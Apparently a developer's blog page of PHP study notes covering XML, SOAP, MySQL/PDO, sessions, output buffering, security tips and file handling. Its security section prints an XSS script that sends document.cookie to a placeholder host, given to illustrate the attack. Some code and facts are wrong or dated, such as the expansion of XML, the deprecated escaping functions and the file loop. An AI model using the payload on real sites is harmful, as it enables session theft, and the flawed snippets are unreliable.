Vinod Sebastian – B.Tech, M.Com, PGCBM, PGCPM, PGDBIO

Hi I'm a Web Architect by Profession and an Artist by nature. I love empowering People, aligning to Processes and delivering Projects.

Tag: PHP

PHP

  • XML


    XML

    XML stands for Extended Markup Language. It is a markup language that defines rules for encoding documents in a format that is both human-readable and machine-readable.

    • DTD or Document Type Definition provides information about the structure and content of a particular XML document.
    • An entity in XML is a named storage unit, similar to a tag, used to define reusable content.
    • An element in XML typically consists of attributes and text content.
    • The content or value of an entity in XML refers to the actual data stored within the entity.

    SimpleXML

    SimpleXML is a PHP 5 library specifically designed for working with XML data. It simplifies the process of parsing and manipulating XML documents.

    $library = new SimpleXMLElement($xmlstr); // Load XML from a string.
    $library = new SimpleXMLElement('library.xml', null, true); // Load XML from a file.
    
    foreach ($library->book as $book) {
        echo $book['isbn'] . "n"; // Accessing an attribute.
        echo $book->title . "n"; // Accessing a child element.
    }
    
    foreach ($library->children() as $child => $valuechild) {
        echo $child->getName() . "=" . $child;
        echo $child . "=" . $valuechild;
        foreach ($child->attributes() as $attr => $valueattr) {
            echo $attr->getName() . "=" . $attr;
            echo $attr . "=" . $valueattr;
        }
    }

    XPATH

    XPath (XML Path Language) is a query language used for navigating through and selecting nodes in an XML document.

    $results = $library->xpath('/library/book/title'); // Returns the XML object defined by the XPath expression.
    
    $newbook = $book->addChild('title', 'Enders Game'); // Adding a child element with a specified value.
    $book->addAttribute('isbn', 0812550706); // Adding an attribute to an element.
    
    header('Content-type: text/xml'); // Setting the header for XML content.
    echo $library->asXML(); // Output the XML content.
    
    // Additional operations such as removing elements and working with namespaces can also be performed using XPath.

    DOM

    DOM (Document Object Model) in PHP provides a way to represent and interact with structured documents like XML and HTML.

    $dom = new DomDocument();
    
    $dom->load('library.xml'); // Load XML content from a file.
    $dom->loadXML($xml); // Load XML content from a string.
    
    $dom->loadHTMLFile('library.html'); // Load HTML content from a file.
    $dom->loadHTML($html); // Load HTML content from a string.
    
    $dom->saveXML(); // Save the document as XML.
    $dom->saveHTML(); // Save the document as HTML.
    
    $element = $dom->createElement('a', 'This is a link!'); // Create a new element.
    $element = $dom->getAttribute('target'); // Get the value of an attribute.
    $element = $dom->hasAttribute('target'); // Check if an attribute exists.
    $element = $dom->setAttribute('target', '_blank'); // Set a new attribute.
    $element = $dom->removeAttribute('target'); // Remove an attribute.
  • Web Service

    Web Service

    Introduction

    Web Service is a standard way of interoperating between different software applications running on a variety of platforms and/or frameworks. It allows for seamless communication and data exchange between disparate systems.

    Types of Web Services

    • SOAP: Stands for Simple Object Access Protocol. It is a protocol for exchanging structured information in the implementation of web services in computer networks.
    • RPC: Remote Procedure Call is the most common messaging pattern used in web services where a client invokes a procedure on a remote server.
    • REST: Representational State Transfer is an architectural style that uses a stateless, client-server communication protocol. Resources are identified by global identifiers (URIs) and accessed via HTTP methods.

    RESTful services do not have a WSDL (Web Services Description Language) and are commonly used by websites that provide RSS and RDF feeds. Services like Delicious offer XML data that can be consumed by clients using SimpleXML.

    Key Terminologies

    • WSDL: Web Services Description Language is an XML format for describing network services as a set of endpoints operating on messages.
    • UDDI: Universal Description Discovery and Integration is a directory service where web services can be registered and discovered.

    PHP and Web Services

    In PHP, NuSOAP is a popular SOAP library used to create and consume SOAP-based web services. PHP provides built-in tools like SoapServer and SoapClient for implementing web services.

    Server-side Implementation

    
    // Define the SOAP server
    $options = array('uri' => 'http://example.org/soap/server/');
    $server = new SoapServer(NULL, $options);
    $server->setClass('MySoapServer');
    $server->handle();
    

    Client-side Implementation

    
    try {
        $options = array(
            'location' => 'http://example.org/soap/server/server.php',
            'uri' => 'http://example.org/soap/server/',
            'trace' => 1
        );
        $client = new SoapClient(NULL, $options);
        
        // Call the method on the server
        $results = $client->method(param);
        
        // Debugging information
        echo $client->__getLastRequestHeaders(); // Display request headers
        echo $client->__getLastRequest(); // Display request XML body
    } catch (SoapFault $e) {
        echo $e->getMessage();
    }
    
  • Database

    Database Basics

    MySQL Commands

    MySQL is a widely-used open-source relational database management system. Here are some essential MySQL commands for database management:

    • Establishing a connection:
    • $link = mysql_connect("host", "username", "password");
      $db = mysql_select_db("database", $link);
    • Executing queries:
    • $rs = mysql_query("query", $link); // Retrieve data
      $rs = mysql_query("query", $link); // Execute commands
    • Fetching data:
    • $row = mysql_fetch_array($rs); // Retrieve data as an index array
      $row = mysql_fetch_assoc($rs); // Retrieve data as an associative array
    • Managing connections:
    • mysql_close($link); // Close connection
    • Additional functions:
    • mysql_insert_id($rs); // Get ID of the last inserted record
      mysql_error($link); // Retrieve the last error
      $output = mysql_real_escape_string("unescaped_string", $link); // Secure data

    Creating New Links with MySQL

    To create a new link with additional security in MySQL, set the newlink parameter to true:

    $link = mysql_connect("host", "username", "password", true);

    MySQLi (MySQL Improved)

    MySQLi is an enhanced extension of MySQL in PHP, providing improved features and security. Key features of MySQLi and PHP Data Objects (PDO) include:

    • Connection versatility
    • Enhanced security through prepared statements
    • Support for atomic transactions with beginTransaction, commit, and rollBack
    try {
        $dsn = 'mysql:host=localhost;dbname=library';
        $dbh = new PDO($dsn, 'dbuser', 'dbpass');
        $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, TRUE);
        $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    
        $dbh->beginTransaction();
        $affected = $dbh->exec("sql"); // Execute SQL query
        $dbh->commit(); // Commit transaction
        $dbh->rollBack(); // Roll back transaction
    
        $sql = "SELECT * FROM table WHERE id = :param1";
        $stmt = $dbh->prepare($sql);
        $stmt->bindParam(':param1', $param1);
        $stmt->execute();
        $results = $stmt->fetchAll();
    
        foreach ($results as $row) {
            // Process each row
        }
    } catch (PDOException $e) {
        echo "Failed: " . $e->getMessage();
    }

    Persistent Connections

    Persistent connections in databases maintain their state even after executing a script. Various ways to establish persistent connections based on the database extension used include:

    • In MySQL:
    • mysql_pconnect();
    • In MySQLi:
    • mysqli_connect("p:host", "username", "password");
    • Using PDO:
    • $dsn = 'mysql:host=localhost;dbname=example_db';
      $options = array(PDO::ATTR_PERSISTENT => true);
      $dbh = new PDO($dsn, 'dbuser', 'dbpass', $options);
  • Super Globals

    Understanding Super Globals in PHP

    In PHP, super globals are predefined variables that hold global scope, which means they can be accessed from any part of the script without the need to declare them as global within functions. It is essential to understand how these super globals work to ensure secure and efficient coding practices.

    Impact of Register_globals Setting

    When the register_globals setting is turned on, PHP automatically converts incoming data (such as form inputs or cookies) into variables. This can lead to security vulnerabilities as external input can override internal variables. To mitigate this risk, it is crucial to initialize local variables before use to prevent any unintended manipulation.

    Sessions in PHP

    PHP sessions provide a way to store information across multiple pages for a specific user. When a session is started using session_start(), PHP checks if the visitor has a session cookie. If not, a new session file is created on the server, and a session ID is sent back to the client.

    To clear session data for a user, you can use $_SESSION = array(); session_destroy();. For removing a specific session variable, the unset() function can be used.

    Sessions store only an ID in a cookie, which expires when the browser is closed. This limits the session to a specific web browser and ensures that sensitive data is stored securely on the server.

    Working with Cookies

    Cookies in PHP are small pieces of data stored on the client’s machine. Unlike sessions, cookies are persistent and can be accessed even after closing the browser. They are commonly used for tasks like user authentication and storing user preferences.

    When setting a cookie using setcookie(name, value, expiry, path, domain, secure), it is important to note that this should be done before any HTML output to avoid header errors.

    Cookies are susceptible to security risks as they can be manipulated by users. It is crucial to validate and sanitize cookie data before using it in the application. Additionally, cookies can be shared across a cluster of web servers, making them a versatile tool for maintaining user state.

  • Output Buffering

    Output Buffering in PHP

    Output buffering in PHP allows you to manipulate and control the output that is sent to the browser. This technique offers several advantages and functionalities that can enhance the performance and flexibility of your PHP scripts.

    Advantages of Output Buffering

    • Headers and cookies can be sent at any point during script execution.
    • Compression and reordering of output buffers are possible, leading to better performance.

    Enabling Output Buffering

    You can enable output buffering for all scripts by configuring the output_buffering directive in the php.ini file.

    Functions for Output Buffering

    • ob_start(): Starts output buffering in PHP.
    • ob_end_flush() and ob_end_clean(): These functions are used to stop output buffering and either flush or clean (discard) the buffer contents.
    • ob_flush() and ob_clean(): The flush() function sends the current output buffer to the browser, while ob_clean() empties the buffer.
    • ob_get_contents(): Retrieves the contents of the output buffer without clearing it.

    Advanced Output Buffering Techniques

    • ob_start("ob_gzhandler"): Enables compression using the gzip library, achieving up to 90% compression ratio for output.
    • output_add_rewrite_var('param', 'value') and output_reset_rewrite_vars(): Useful for URL rewriting and manipulation within the output buffer.

    Output buffering is a powerful feature in PHP that can be used to optimize the delivery of content and enhance the functionality of web applications.

  • Security

    Security Tips for PHP Programming

    1. Secure Data Handling

    When working with PHP, it’s crucial to encrypt sensitive data, filter input, and escape output to prevent vulnerabilities. Utilize functions like filter_var() with filters such as FILTER_SANITIZE_EMAIL and FILTER_VALIDATE_EMAIL to sanitize user input.

    2. Configuration Settings

    Disable the magic_quotes_gpc setting in your php.ini file to prevent automatic escaping of user input. Instead, use functions like mysql_escape_string() to secure data before inserting it into the database.

    3. File and Folder Security

    Store key files outside the document root to prevent unauthorized access. Set appropriate file permissions and utilize .htaccess to block access to sensitive files and directories.

    4. PHP Configuration

    Enhance security by turning expose_php off, using a different file extension for PHP files, setting display_errors to off, and disabling register_globals to mitigate potential risks.

    5. Preventing Form Spoofing

    Protect your website against form spoofing attacks by implementing spam checks, validating HTTP_REFERER headers, and enforcing strict server-side validation to ensure the authenticity of form submissions.

    6. Cross Site Scripting (XSS)

    Cross Site Scripting involves injecting malicious JavaScript into a website to steal user data. Properly escape output to prevent script execution and safeguard against XSS attacks.

    <script>
    document.location = "http://examplesite.org/getcookies.php?cookies=" + document.cookie;
    </script>
    

    7. Cross Site Request Forgery (CSRF)

    Prevent CSRF attacks by including hidden random values in forms that are validated against session values to ensure the authenticity of requests and protect against unauthorized actions initiated by third-party sites.

    8. SQL Injection

    Defend against SQL Injection attacks by using prepared statements or driver-specific escaping functions to sanitize user input before executing SQL queries.

    9. Session Management

    Protect against session fixation by regenerating session IDs upon privilege changes using session_regenerate_id(). Monitor for session hijacking by detecting changes in HTTP_USER_AGENT, although this method is not foolproof.

    10. Remote Code Injection

    Avoid remote code injection vulnerabilities by refraining from including tainted user input in require or include statements.

    11. Command Injection

    Prevent command injection risks by using functions like escapeshellcmd() and escapeshellarg() to properly escape shell commands and arguments passed via user input.

    12. Additional Security Measures

    In shared hosting environments, consider configuring open_basedir to restrict file access, using disable_functions to prevent the use of certain functions, and leveraging disable_classes to disable specific classes for enhanced security.

  • Streams and Network Programming

    Streams and Network Programming

    File and File Opening Modes

    When working with files in PHP, it is important to understand the different file opening modes:

    • r, w, a: ‘r’ represents read, ‘w’ represents write, and ‘a’ represents append.
    • +: Adding + to the mode makes it both readable and writable.
    • Append Mode: In append mode, the file pointer points to the end of the file, unlike other modes where it starts at the beginning.
    • Truncating: ‘w’ mode additionally truncates the file size to 0 when opening the file.
    • Create New File: ‘x’ mode creates a new file; it fails if the file already exists.
    • fgetcsv() and fputcsv(): These functions simplify the task of reading from and writing to CSV files.
    • file_get_contents() and file_put_contents(): These functions provide a simpler interface for reading from and writing to files.
    if (!file_exists("filename.txt")) {
        throw new Exception("The file does not exist.");
    }
    
    $file = fopen("filename.txt", "r");
    while (!feof($file)) {
        $txt .= fread($file, 1); // Last parameter specifies the number of bytes to read.
        fwrite($file, $txt);
    }
    
    fseek($file, 10, SEEK_CUR); // Move file pointer by 10 bytes from the current position.
    fclose($file);

    Directory Operations

    Working with directories in PHP involves various functions for directory manipulation:

    • chdir("path"): Changes the current working directory to the specified path.
    • getcwd(): Returns the current working directory path.
    • mkdir("path", 0666, true): Creates a new directory. The second parameter specifies the access mode, and setting the third parameter to true creates any missing directories in the path.
    • is_dir(): Checks if a path is a directory.
    • is_executable(): Checks if a path is executable.
    • is_file(): Checks if a path exists and is a regular file.
    • is_link(): Checks if a path exists and is a symbolic link.
    • is_readable(): Checks if a path exists and is readable.
    • is_writable(): Checks if a path exists and is writable.
    • is_uploaded_file(): Checks if a path is an uploaded file (sent via HTTP POST).
    • File Permissions: On UNIX systems, file permissions can be managed using functions like chmod(), chgrp(), and chown() by providing the path and the desired access mode.

    Network Programming

    PHP provides capabilities for network programming, including:

    • Simple Network Access: Basic network operations can be performed using PHP’s file functions.
    • Socket Servers and Clients: PHP allows you to create socket servers and clients using functions like stream_socket_server() and stream_socket_client().
    • Stream Filters: Stream filters enable data manipulation by passing data through a series of filters that can dynamically alter it, such as compression filters.

    Additional Resources

    For more in-depth information on PHP file handling and network programming, refer to the official PHP documentation and tutorials.

  • Miscellaneous

    Exploring PHP Features

    Understanding PHP Configuration

    The ini_set("param", value) function in PHP is used to dynamically set configuration options from within your PHP scripts. This function allows you to customize the behavior of PHP at runtime, overriding the settings specified in the php.ini file.

    Standard PHP Library (SPL)

    The Standard PHP Library (SPL) is an essential addition to PHP 5, offering a wide range of built-in classes and interfaces to work with data structures, iterators, and more. It exposes internal functionality of PHP, allowing developers to write objects that mimic the behavior of arrays. For instance, you can create objects that can be iterated or looped through just like arrays.

    PHP 5 Enhancements

    PHP 5 introduced several key enhancements that revolutionized the way developers write code. Some of the notable improvements include:

    • Objects passed by reference: In PHP 5, objects can be passed around by reference, allowing for more efficient memory usage and better performance.
    • Visibility in class methods and properties: PHP 5 introduced visibility keywords like public, private, and protected to control access to class members, enhancing encapsulation and security.
    • Interfaces and abstract classes: PHP 5 added support for interfaces and abstract classes, enabling better code organization and promoting code reusability through inheritance.
    • Magic methods: PHP 5 introduced a variety of magic methods like __construct, __destruct, __get, __set, etc., allowing developers to implement custom behaviors in their classes.
    • SimpleXML: PHP 5 included the SimpleXML extension, which provides an easy way to work with XML data, simplifying tasks like parsing and manipulating XML documents.
    • PDO (PHP Data Objects): PDO is a database access layer in PHP that provides a consistent interface for accessing databases. It offers enhanced security features and supports multiple database drivers.
    • Reflection: PHP 5 introduced the Reflection API, which allows developers to inspect classes, interfaces, functions, methods, and properties at runtime. This feature enables advanced introspection and dynamic code generation.

    These enhancements in PHP 5 have made it a more robust and versatile programming language, empowering developers to build complex applications with ease.